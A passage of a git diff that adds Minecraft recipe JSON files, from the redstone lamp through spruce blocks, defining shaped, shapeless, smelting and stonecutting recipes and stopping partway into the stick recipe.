b/src/data/minecraft/recipes/redstone_lamp.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + " R ", + "RGR", + " R " + ], + "key": { + "R": { + "item": "minecraft:redstone" + }, + "G": { + "item": "minecraft:glowstone" + } + }, + "result": { + "item": "minecraft:redstone_lamp" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/redstone_torch.json b/src/data/minecraft/recipes/redstone_torch.json new file mode 100644 index 00000000..68d88e6d --- /dev/null +++ b/src/data/minecraft/recipes/redstone_torch.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X", + "#" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:redstone" + } + }, + "result": { + "item": "minecraft:redstone_torch" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/repair_item.json b/src/data/minecraft/recipes/repair_item.json new file mode 100644 index 00000000..d3fbc161 --- /dev/null +++ b/src/data/minecraft/recipes/repair_item.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:crafting_special_repairitem" +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/repeater.json b/src/data/minecraft/recipes/repeater.json new file mode 100644 index 00000000..e693e760 --- /dev/null +++ b/src/data/minecraft/recipes/repeater.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "#X#", + "III" + ], + "key": { + "#": { + "item": "minecraft:redstone_torch" + }, + "X": { + "item": "minecraft:redstone" + }, + "I": { + "item": "minecraft:stone" + } + }, + "result": { + "item": "minecraft:repeater" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/respawn_anchor.json b/src/data/minecraft/recipes/respawn_anchor.json new file mode 100644 index 00000000..6ba2caf8 --- /dev/null +++ b/src/data/minecraft/recipes/respawn_anchor.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "OOO", + "GGG", + "OOO" + ], + "key": { + "O": { + "item": "minecraft:crying_obsidian" + }, + "G": { + "item": "minecraft:glowstone" + } + }, + "result": { + "item": "minecraft:respawn_anchor" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/sandstone.json b/src/data/minecraft/recipes/sandstone.json new file mode 100644 index 00000000..da258451 --- /dev/null +++ b/src/data/minecraft/recipes/sandstone.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:sand" + } + }, + "result": { + "item": "minecraft:sandstone" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/sandstone_slab.json b/src/data/minecraft/recipes/sandstone_slab.json new file mode 100644 index 00000000..c92668c0 --- /dev/null +++ b/src/data/minecraft/recipes/sandstone_slab.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": [ + { + "item": "minecraft:sandstone" + }, + { + "item": "minecraft:chiseled_sandstone" + } + ] + }, + "result": { + "item": "minecraft:sandstone_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/sandstone_slab_from_sandstone_stonecutting.json b/src/data/minecraft/recipes/sandstone_slab_from_sandstone_stonecutting.json new file mode 100644 index 00000000..cb338cb7 --- /dev/null +++ b/src/data/minecraft/recipes/sandstone_slab_from_sandstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:sandstone" + }, + "result": "minecraft:sandstone_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/sandstone_stairs.json b/src/data/minecraft/recipes/sandstone_stairs.json new file mode 100644 index 00000000..19f75a65 --- /dev/null +++ b/src/data/minecraft/recipes/sandstone_stairs.json @@ -0,0 +1,25 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": [ + { + "item": "minecraft:sandstone" + }, + { + "item": "minecraft:chiseled_sandstone" + }, + { + "item": "minecraft:cut_sandstone" + } + ] + }, + "result": { + "item": "minecraft:sandstone_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/sandstone_stairs_from_sandstone_stonecutting.json b/src/data/minecraft/recipes/sandstone_stairs_from_sandstone_stonecutting.json new file mode 100644 index 00000000..58b3c90a --- /dev/null +++ b/src/data/minecraft/recipes/sandstone_stairs_from_sandstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:sandstone" + }, + "result": "minecraft:sandstone_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/sandstone_wall.json b/src/data/minecraft/recipes/sandstone_wall.json new file mode 100644 index 00000000..17463683 --- /dev/null +++ b/src/data/minecraft/recipes/sandstone_wall.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:sandstone" + } + }, + "result": { + "item": "minecraft:sandstone_wall", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/sandstone_wall_from_sandstone_stonecutting.json b/src/data/minecraft/recipes/sandstone_wall_from_sandstone_stonecutting.json new file mode 100644 index 00000000..9fb5e3f1 --- /dev/null +++ b/src/data/minecraft/recipes/sandstone_wall_from_sandstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:sandstone" + }, + "result": "minecraft:sandstone_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/scaffolding.json b/src/data/minecraft/recipes/scaffolding.json new file mode 100644 index 00000000..915fd07f --- /dev/null +++ b/src/data/minecraft/recipes/scaffolding.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "I~I", + "I I", + "I I" + ], + "key": { + "~": { + "item": "minecraft:string" + }, + "I": { + "item": "minecraft:bamboo" + } + }, + "result": { + "item": "minecraft:scaffolding", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/sea_lantern.json b/src/data/minecraft/recipes/sea_lantern.json new file mode 100644 index 00000000..8a767029 --- /dev/null +++ b/src/data/minecraft/recipes/sea_lantern.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "SCS", + "CCC", + "SCS" + ], + "key": { + "S": { + "item": "minecraft:prismarine_shard" + }, + "C": { + "item": "minecraft:prismarine_crystals" + } + }, + "result": { + "item": "minecraft:sea_lantern" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/shears.json b/src/data/minecraft/recipes/shears.json new file mode 100644 index 00000000..c69c8330 --- /dev/null +++ b/src/data/minecraft/recipes/shears.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + " #", + "# " + ], + "key": { + "#": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:shears" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/shield.json b/src/data/minecraft/recipes/shield.json new file mode 100644 index 00000000..35f0cee7 --- /dev/null +++ b/src/data/minecraft/recipes/shield.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "WoW", + "WWW", + " W " + ], + "key": { + "W": { + "tag": "minecraft:planks" + }, + "o": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:shield" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/shield_decoration.json b/src/data/minecraft/recipes/shield_decoration.json new file mode 100644 index 00000000..76728515 --- /dev/null +++ b/src/data/minecraft/recipes/shield_decoration.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:crafting_special_shielddecoration" +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/shulker_box.json b/src/data/minecraft/recipes/shulker_box.json new file mode 100644 index 00000000..1a1a2244 --- /dev/null +++ b/src/data/minecraft/recipes/shulker_box.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "-", + "#", + "-" + ], + "key": { + "#": { + "item": "minecraft:chest" + }, + "-": { + "item": "minecraft:shulker_shell" + } + }, + "result": { + "item": "minecraft:shulker_box" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/shulker_box_coloring.json b/src/data/minecraft/recipes/shulker_box_coloring.json new file mode 100644 index 00000000..ef723821 --- /dev/null +++ b/src/data/minecraft/recipes/shulker_box_coloring.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:crafting_special_shulkerboxcoloring" +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/skull_banner_pattern.json b/src/data/minecraft/recipes/skull_banner_pattern.json new file mode 100644 index 00000000..b0f63fe9 --- /dev/null +++ b/src/data/minecraft/recipes/skull_banner_pattern.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:paper" + }, + { + "item": "minecraft:wither_skeleton_skull" + } + ], + "result": { + "item": "minecraft:skull_banner_pattern" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/slime_ball.json b/src/data/minecraft/recipes/slime_ball.json new file mode 100644 index 00000000..e9a44ded --- /dev/null +++ b/src/data/minecraft/recipes/slime_ball.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:slime_block" + } + ], + "result": { + "item": "minecraft:slime_ball", + "count": 9 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/slime_block.json b/src/data/minecraft/recipes/slime_block.json new file mode 100644 index 00000000..b432818b --- /dev/null +++ b/src/data/minecraft/recipes/slime_block.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:slime_ball" + } + }, + "result": { + "item": "minecraft:slime_block" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/smithing_table.json b/src/data/minecraft/recipes/smithing_table.json new file mode 100644 index 00000000..28b693f3 --- /dev/null +++ b/src/data/minecraft/recipes/smithing_table.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "@@", + "##", + "##" + ], + "key": { + "#": { + "tag": "minecraft:planks" + }, + "@": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:smithing_table" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/smoker.json b/src/data/minecraft/recipes/smoker.json new file mode 100644 index 00000000..fdd33375 --- /dev/null +++ b/src/data/minecraft/recipes/smoker.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + " # ", + "#X#", + " # " + ], + "key": { + "#": { + "tag": "minecraft:logs" + }, + "X": { + "item": "minecraft:furnace" + } + }, + "result": { + "item": "minecraft:smoker" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/smooth_quartz.json b/src/data/minecraft/recipes/smooth_quartz.json new file mode 100644 index 00000000..edcc3c87 --- /dev/null +++ b/src/data/minecraft/recipes/smooth_quartz.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:quartz_block" + }, + "result": "minecraft:smooth_quartz", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/smooth_quartz_slab.json b/src/data/minecraft/recipes/smooth_quartz_slab.json new file mode 100644 index 00000000..d4555cd7 --- /dev/null +++ b/src/data/minecraft/recipes/smooth_quartz_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:smooth_quartz" + } + }, + "result": { + "item": "minecraft:smooth_quartz_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/smooth_quartz_slab_from_smooth_quartz_stonecutting.json b/src/data/minecraft/recipes/smooth_quartz_slab_from_smooth_quartz_stonecutting.json new file mode 100644 index 00000000..dcdef33b --- /dev/null +++ b/src/data/minecraft/recipes/smooth_quartz_slab_from_smooth_quartz_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:smooth_quartz" + }, + "result": "minecraft:smooth_quartz_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/smooth_quartz_stairs.json b/src/data/minecraft/recipes/smooth_quartz_stairs.json new file mode 100644 index 00000000..e6376cb5 --- /dev/null +++ b/src/data/minecraft/recipes/smooth_quartz_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:smooth_quartz" + } + }, + "result": { + "item": "minecraft:smooth_quartz_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/smooth_quartz_stairs_from_smooth_quartz_stonecutting.json b/src/data/minecraft/recipes/smooth_quartz_stairs_from_smooth_quartz_stonecutting.json new file mode 100644 index 00000000..46933de5 --- /dev/null +++ b/src/data/minecraft/recipes/smooth_quartz_stairs_from_smooth_quartz_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:smooth_quartz" + }, + "result": "minecraft:smooth_quartz_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/smooth_red_sandstone.json b/src/data/minecraft/recipes/smooth_red_sandstone.json new file mode 100644 index 00000000..a738995f --- /dev/null +++ b/src/data/minecraft/recipes/smooth_red_sandstone.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:red_sandstone" + }, + "result": "minecraft:smooth_red_sandstone", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/smooth_red_sandstone_slab.json b/src/data/minecraft/recipes/smooth_red_sandstone_slab.json new file mode 100644 index 00000000..46570ef8 --- /dev/null +++ b/src/data/minecraft/recipes/smooth_red_sandstone_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:smooth_red_sandstone" + } + }, + "result": { + "item": "minecraft:smooth_red_sandstone_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/smooth_red_sandstone_slab_from_smooth_red_sandstone_stonecutting.json b/src/data/minecraft/recipes/smooth_red_sandstone_slab_from_smooth_red_sandstone_stonecutting.json new file mode 100644 index 00000000..82e3d667 --- /dev/null +++ b/src/data/minecraft/recipes/smooth_red_sandstone_slab_from_smooth_red_sandstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:smooth_red_sandstone" + }, + "result": "minecraft:smooth_red_sandstone_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/smooth_red_sandstone_stairs.json b/src/data/minecraft/recipes/smooth_red_sandstone_stairs.json new file mode 100644 index 00000000..27dc4ac3 --- /dev/null +++ b/src/data/minecraft/recipes/smooth_red_sandstone_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:smooth_red_sandstone" + } + }, + "result": { + "item": "minecraft:smooth_red_sandstone_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/smooth_red_sandstone_stairs_from_smooth_red_sandstone_stonecutting.json b/src/data/minecraft/recipes/smooth_red_sandstone_stairs_from_smooth_red_sandstone_stonecutting.json new file mode 100644 index 00000000..e83848cc --- /dev/null +++ b/src/data/minecraft/recipes/smooth_red_sandstone_stairs_from_smooth_red_sandstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:smooth_red_sandstone" + }, + "result": "minecraft:smooth_red_sandstone_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/smooth_sandstone.json b/src/data/minecraft/recipes/smooth_sandstone.json new file mode 100644 index 00000000..c6d07d85 --- /dev/null +++ b/src/data/minecraft/recipes/smooth_sandstone.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:sandstone" + }, + "result": "minecraft:smooth_sandstone", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/smooth_sandstone_slab.json b/src/data/minecraft/recipes/smooth_sandstone_slab.json new file mode 100644 index 00000000..f534019f --- /dev/null +++ b/src/data/minecraft/recipes/smooth_sandstone_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:smooth_sandstone" + } + }, + "result": { + "item": "minecraft:smooth_sandstone_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/smooth_sandstone_slab_from_smooth_sandstone_stonecutting.json b/src/data/minecraft/recipes/smooth_sandstone_slab_from_smooth_sandstone_stonecutting.json new file mode 100644 index 00000000..d194f0c0 --- /dev/null +++ b/src/data/minecraft/recipes/smooth_sandstone_slab_from_smooth_sandstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:smooth_sandstone" + }, + "result": "minecraft:smooth_sandstone_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/smooth_sandstone_stairs.json b/src/data/minecraft/recipes/smooth_sandstone_stairs.json new file mode 100644 index 00000000..ae0b6b95 --- /dev/null +++ b/src/data/minecraft/recipes/smooth_sandstone_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:smooth_sandstone" + } + }, + "result": { + "item": "minecraft:smooth_sandstone_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/smooth_sandstone_stairs_from_smooth_sandstone_stonecutting.json b/src/data/minecraft/recipes/smooth_sandstone_stairs_from_smooth_sandstone_stonecutting.json new file mode 100644 index 00000000..86ff37a1 --- /dev/null +++ b/src/data/minecraft/recipes/smooth_sandstone_stairs_from_smooth_sandstone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:smooth_sandstone" + }, + "result": "minecraft:smooth_sandstone_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/smooth_stone.json b/src/data/minecraft/recipes/smooth_stone.json new file mode 100644 index 00000000..b8edf4b8 --- /dev/null +++ b/src/data/minecraft/recipes/smooth_stone.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:stone" + }, + "result": "minecraft:smooth_stone", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/smooth_stone_slab.json b/src/data/minecraft/recipes/smooth_stone_slab.json new file mode 100644 index 00000000..5b5ded69 --- /dev/null +++ b/src/data/minecraft/recipes/smooth_stone_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:smooth_stone" + } + }, + "result": { + "item": "minecraft:smooth_stone_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/smooth_stone_slab_from_smooth_stone_stonecutting.json b/src/data/minecraft/recipes/smooth_stone_slab_from_smooth_stone_stonecutting.json new file mode 100644 index 00000000..622e5fd3 --- /dev/null +++ b/src/data/minecraft/recipes/smooth_stone_slab_from_smooth_stone_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:smooth_stone" + }, + "result": "minecraft:smooth_stone_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/snow.json b/src/data/minecraft/recipes/snow.json new file mode 100644 index 00000000..fdbf8860 --- /dev/null +++ b/src/data/minecraft/recipes/snow.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:snow_block" + } + }, + "result": { + "item": "minecraft:snow", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/snow_block.json b/src/data/minecraft/recipes/snow_block.json new file mode 100644 index 00000000..78f0f13c --- /dev/null +++ b/src/data/minecraft/recipes/snow_block.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:snowball" + } + }, + "result": { + "item": "minecraft:snow_block" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/soul_campfire.json b/src/data/minecraft/recipes/soul_campfire.json new file mode 100644 index 00000000..172dc489 --- /dev/null +++ b/src/data/minecraft/recipes/soul_campfire.json @@ -0,0 +1,22 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + " S ", + "S#S", + "LLL" + ], + "key": { + "L": { + "tag": "minecraft:logs" + }, + "S": { + "item": "minecraft:stick" + }, + "#": { + "tag": "minecraft:soul_fire_base_blocks" + } + }, + "result": { + "item": "minecraft:soul_campfire" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/soul_lantern.json b/src/data/minecraft/recipes/soul_lantern.json new file mode 100644 index 00000000..48c87eea --- /dev/null +++ b/src/data/minecraft/recipes/soul_lantern.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XXX", + "X#X", + "XXX" + ], + "key": { + "#": { + "item": "minecraft:soul_torch" + }, + "X": { + "item": "minecraft:iron_nugget" + } + }, + "result": { + "item": "minecraft:soul_lantern" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/soul_torch.json b/src/data/minecraft/recipes/soul_torch.json new file mode 100644 index 00000000..d7beb34a --- /dev/null +++ b/src/data/minecraft/recipes/soul_torch.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X", + "#", + "S" + ], + "key": { + "X": [ + { + "item": "minecraft:coal" + }, + { + "item": "minecraft:charcoal" + } + ], + "#": { + "item": "minecraft:stick" + }, + "S": { + "tag": "minecraft:soul_fire_base_blocks" + } + }, + "result": { + "item": "minecraft:soul_torch", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/spectral_arrow.json b/src/data/minecraft/recipes/spectral_arrow.json new file mode 100644 index 00000000..9989657a --- /dev/null +++ b/src/data/minecraft/recipes/spectral_arrow.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + " # ", + "#X#", + " # " + ], + "key": { + "#": { + "item": "minecraft:glowstone_dust" + }, + "X": { + "item": "minecraft:arrow" + } + }, + "result": { + "item": "minecraft:spectral_arrow", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/sponge.json b/src/data/minecraft/recipes/sponge.json new file mode 100644 index 00000000..27fa250b --- /dev/null +++ b/src/data/minecraft/recipes/sponge.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:wet_sponge" + }, + "result": "minecraft:sponge", + "experience": 0.15, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/spruce_boat.json b/src/data/minecraft/recipes/spruce_boat.json new file mode 100644 index 00000000..d60edada --- /dev/null +++ b/src/data/minecraft/recipes/spruce_boat.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "boat", + "pattern": [ + "# #", + "###" + ], + "key": { + "#": { + "item": "minecraft:spruce_planks" + } + }, + "result": { + "item": "minecraft:spruce_boat" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/spruce_button.json b/src/data/minecraft/recipes/spruce_button.json new file mode 100644 index 00000000..05a92177 --- /dev/null +++ b/src/data/minecraft/recipes/spruce_button.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wooden_button", + "ingredients": [ + { + "item": "minecraft:spruce_planks" + } + ], + "result": { + "item": "minecraft:spruce_button" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/spruce_door.json b/src/data/minecraft/recipes/spruce_door.json new file mode 100644 index 00000000..478d8d33 --- /dev/null +++ b/src/data/minecraft/recipes/spruce_door.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_door", + "pattern": [ + "##", + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:spruce_planks" + } + }, + "result": { + "item": "minecraft:spruce_door", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/spruce_fence.json b/src/data/minecraft/recipes/spruce_fence.json new file mode 100644 index 00000000..980344e9 --- /dev/null +++ b/src/data/minecraft/recipes/spruce_fence.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_fence", + "pattern": [ + "W#W", + "W#W" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "W": { + "item": "minecraft:spruce_planks" + } + }, + "result": { + "item": "minecraft:spruce_fence", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/spruce_fence_gate.json b/src/data/minecraft/recipes/spruce_fence_gate.json new file mode 100644 index 00000000..ae5e5b66 --- /dev/null +++ b/src/data/minecraft/recipes/spruce_fence_gate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_fence_gate", + "pattern": [ + "#W#", + "#W#" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "W": { + "item": "minecraft:spruce_planks" + } + }, + "result": { + "item": "minecraft:spruce_fence_gate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/spruce_planks.json b/src/data/minecraft/recipes/spruce_planks.json new file mode 100644 index 00000000..641608e9 --- /dev/null +++ b/src/data/minecraft/recipes/spruce_planks.json @@ -0,0 +1,13 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "planks", + "ingredients": [ + { + "tag": "minecraft:spruce_logs" + } + ], + "result": { + "item": "minecraft:spruce_planks", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/spruce_pressure_plate.json b/src/data/minecraft/recipes/spruce_pressure_plate.json new file mode 100644 index 00000000..9e8bd0d6 --- /dev/null +++ b/src/data/minecraft/recipes/spruce_pressure_plate.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_pressure_plate", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:spruce_planks" + } + }, + "result": { + "item": "minecraft:spruce_pressure_plate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/spruce_sign.json b/src/data/minecraft/recipes/spruce_sign.json new file mode 100644 index 00000000..220548f1 --- /dev/null +++ b/src/data/minecraft/recipes/spruce_sign.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "sign", + "pattern": [ + "###", + "###", + " X " + ], + "key": { + "#": { + "item": "minecraft:spruce_planks" + }, + "X": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:spruce_sign", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/spruce_slab.json b/src/data/minecraft/recipes/spruce_slab.json new file mode 100644 index 00000000..ec16b946 --- /dev/null +++ b/src/data/minecraft/recipes/spruce_slab.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_slab", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:spruce_planks" + } + }, + "result": { + "item": "minecraft:spruce_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/spruce_stairs.json b/src/data/minecraft/recipes/spruce_stairs.json new file mode 100644 index 00000000..d937ce08 --- /dev/null +++ b/src/data/minecraft/recipes/spruce_stairs.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_stairs", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:spruce_planks" + } + }, + "result": { + "item": "minecraft:spruce_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/spruce_trapdoor.json b/src/data/minecraft/recipes/spruce_trapdoor.json new file mode 100644 index 00000000..da6268d3 --- /dev/null +++ b/src/data/minecraft/recipes/spruce_trapdoor.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_trapdoor", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:spruce_planks" + } + }, + "result": { + "item": "minecraft:spruce_trapdoor", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/spruce_wood.json b/src/data/minecraft/recipes/spruce_wood.json new file mode 100644 index 00000000..a47010b6 --- /dev/null +++ b/src/data/minecraft/recipes/spruce_wood.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bark", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:spruce_log" + } + }, + "result": { + "item": "minecraft:spruce_wood", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/stick.json b/src/data/minecraft/recipes/stick.json new file mode 100644 index 00000000..70d79d38 --- /dev/null +++ b/src/data/minecraft/recipes/stick.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": 